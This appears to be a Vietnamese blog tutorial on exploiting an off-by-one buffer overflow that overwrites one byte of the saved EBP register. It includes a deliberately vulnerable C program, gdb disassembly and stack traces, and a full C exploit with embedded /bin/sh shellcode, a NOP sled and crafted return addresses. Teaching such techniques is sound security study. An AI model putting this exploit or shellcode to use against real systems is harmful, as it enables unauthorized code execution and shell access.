Off by one - overwrite ebp with one byte .

Trong các tình huống tràn bộ đệm khác nhau, nhiều trường hợp, chỉ có thể ghi đè được 1 byte duy nhất ra ngoài vùng được phép - ghi đè 1 byte lên thanh ghi ebp. Bài viết này sẽ trình bày một số điểm khái quát trong quá trình tận dụng lỗi này .

Trước hết, một source code của chương trình bị lỗi như sau :

#include <stdio.h>

func(char *sm)
{
        char buffer[256];
        int i;
        for(i=0;i<=256;i++)
                buffer[i]=sm[i];
}

main(int argc, char *argv[])
{
        if (argc < 2) {
                printf("missing args\n");
                exit(-1);
        }

        func(argv[1]);
}

Để khai thác được lỗi này, thì phải compile chương trình trên bằng gcc 3.x với option -mpreferred-stack-boundary=2 :

crazyboy@h4x0r:$ gcc -mpreferred-stack-boundary=2 offone.c -o offone

Hàm func() của chương trình trên đã bị lỗi ở đoạn 

for(i=0;i<=256;i++)
      buffer[i]=sm[i];

Thay vì chép 256 bytes, thì nó đã tự sát bằng cách chép đến 257 bytes, đồng nghĩa với việc $ebp bị ghi đè 1 byte. Sơ đồ vùng nhớ khi đang ở trong hàm func lúc bị ghi đè như sau :

saved_eip
 saved_ebp (bị ghi đè 1 byte)   
 AAAAAAAAA   \
 AAAAAAAAA    |  char buffer 
 AAAAAAAAA   /
 int i

Dùng gdb, có thể dễ dàng kiểm chứng rỏ hơn việc $ebp bị ghi đè như thế nào :

(gdb) disass func
Dump of assembler code for function func:
0x080483d4 :    push   %ebp
0x080483d5 :    mov    %esp,%ebp
0x080483d7 :    sub    $0x104,%esp
0x080483dd :    movl   $0x0,0xfffffefc(%ebp)
0x080483e7 :    cmpl   $0x100,0xfffffefc(%ebp)
0x080483f1 :    jg     0x8048418
0x080483f3 :    lea    0xffffff00(%ebp),%eax
0x080483f9 :    mov    %eax,%edx
0x080483fb :    add    0xfffffefc(%ebp),%edx
0x08048401 :    mov    0xfffffefc(%ebp),%eax
0x08048407 :    add    0x8(%ebp),%eax
0x0804840a :    mov    (%eax),%al
0x0804840c :    mov    %al,(%edx)
0x0804840e :    lea    0xfffffefc(%ebp),%eax
0x08048414 :    incl   (%eax)
0x08048416 :    jmp    0x80483e7
0x08048418 :    leave 
0x08048419 :    ret   
End of assembler dump.
(gdb) disass main
Dump of assembler code for function main:
0x0804841a :    push   %ebp
0x0804841b :    mov    %esp,%ebp
0x0804841d :    cmpl   $0x1,0x8(%ebp)
0x08048421 :    jg     0x8048437
0x08048423 :    push   $0x8048554
0x08048428 :    call   0x80482d8
0x0804842d :    add    $0x4,%esp
0x08048430 :    push   $0xffffffff
0x08048432 :    call   0x80482e8
0x08048437 :    mov    0xc(%ebp),%eax
0x0804843a :    add    $0x4,%eax
0x0804843d :    pushl  (%eax)
0x0804843f :    call   0x80483d4
0x08048444 :    add    $0x4,%esp
0x08048447 :    leave 
0x08048448 :    ret   
End of assembler dump.
(gdb)
Continuing.
Breakpoint 8, 0x08048447 in main ()
(gdb) i r ebp
ebp            0xbffff441    0xbffff441
(gdb)

Như vậy, $ebp đã bị ghi đè đúng 1 byte.

Giá trị của $esp đã được điều khiển tùy ý trong khoản 0xbffff400 đến 0xbffff4ff . Dữ liệu vào sẽ được bố trí như sau :

 [NOP][shellcode][&NOP][1 byte X ghi đè lên ebp]

Giá trị của X = [byte thấp của &NOP] - 4 ( 4 bytes khi leave sẽ được pop $ebp ). Lúc này,sau khi đến lệnh ret cuối hàm main, chương trình sẽ tiến hành ret vào $esp hiện giờ đang chứa đia chỉ của phần shellcode phía trước. Địa chỉ của $esp trong hàm func sẽ làm địa chỉ nền để ret về :

(gdb) b* 0x080483dd
Breakpoint 6 at 0x80483dd
(gdb) b* 0x08048418
Breakpoint 7 at 0x8048418
(gdb) r `python -c 'print "A"*257'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/offone/offone `python -c 'print "A"*257'`

Breakpoint 6, 0x080483dd in func ()
(gdb) x/2x $esp
0xbffff328:    0xb7fcf000    0xbffff380
(gdb) c
Continuing.

Breakpoint 7, 0x08048418 in func ()
(gdb) x/2x $esp
0xbffff328:    0x00000101    0x41414141
(gdb)
Như vậy, địa chỉ ret về sẽ là 0xbffff32c .

Chương trình khai thác như sau :

#include <stdio.h>
#include <unistd.h>

char sc_linux[] =
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
        "\xd7\xff\xff\xff/bin/sh";

main()
{
        int i, j;
        char buffer[1024];

        bzero(&buffer, 1024);
        for (i=0;i<=(248-sizeof(sc_linux));i++)
        {
                buffer[i] = 0x90;
        }
        for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
        {
                buffer[i] = sc_linux[j];
        }
        buffer[i++] = 0x2c; /*
        buffer[i++] = 0xf3;  * Địa chỉ của bufer sẽ đươc pop $ebp
        buffer[i++] = 0xff;  *
        buffer[i++] = 0xbf;  */
        buffer[i++] = 0x2c; /*
        buffer[i++] = 0xf3;  * 2 lần vì 1 địa chỉ để pop $ebp phải hợp lệ.
        buffer[i++] = 0xff;  * phần này sẽ được dùng để ret .
        buffer[i++] = 0xbf;  */
        buffer[i++] = 0x24;  // 0xbfff428 là địa chỉ của &NOP.
        execl("./offone", "offone", buffer, NULL);
}


Một số chi tiết về mã asm, địa chỉ sẽ khác nhau tùy máy, tùy hệ điều hành và các phiên bản khác nhau của compiler.

Bài viết có tham khảo từ : http://www.phrack.org/issues.html?id=8&issue=55

No comments:

Post a Comment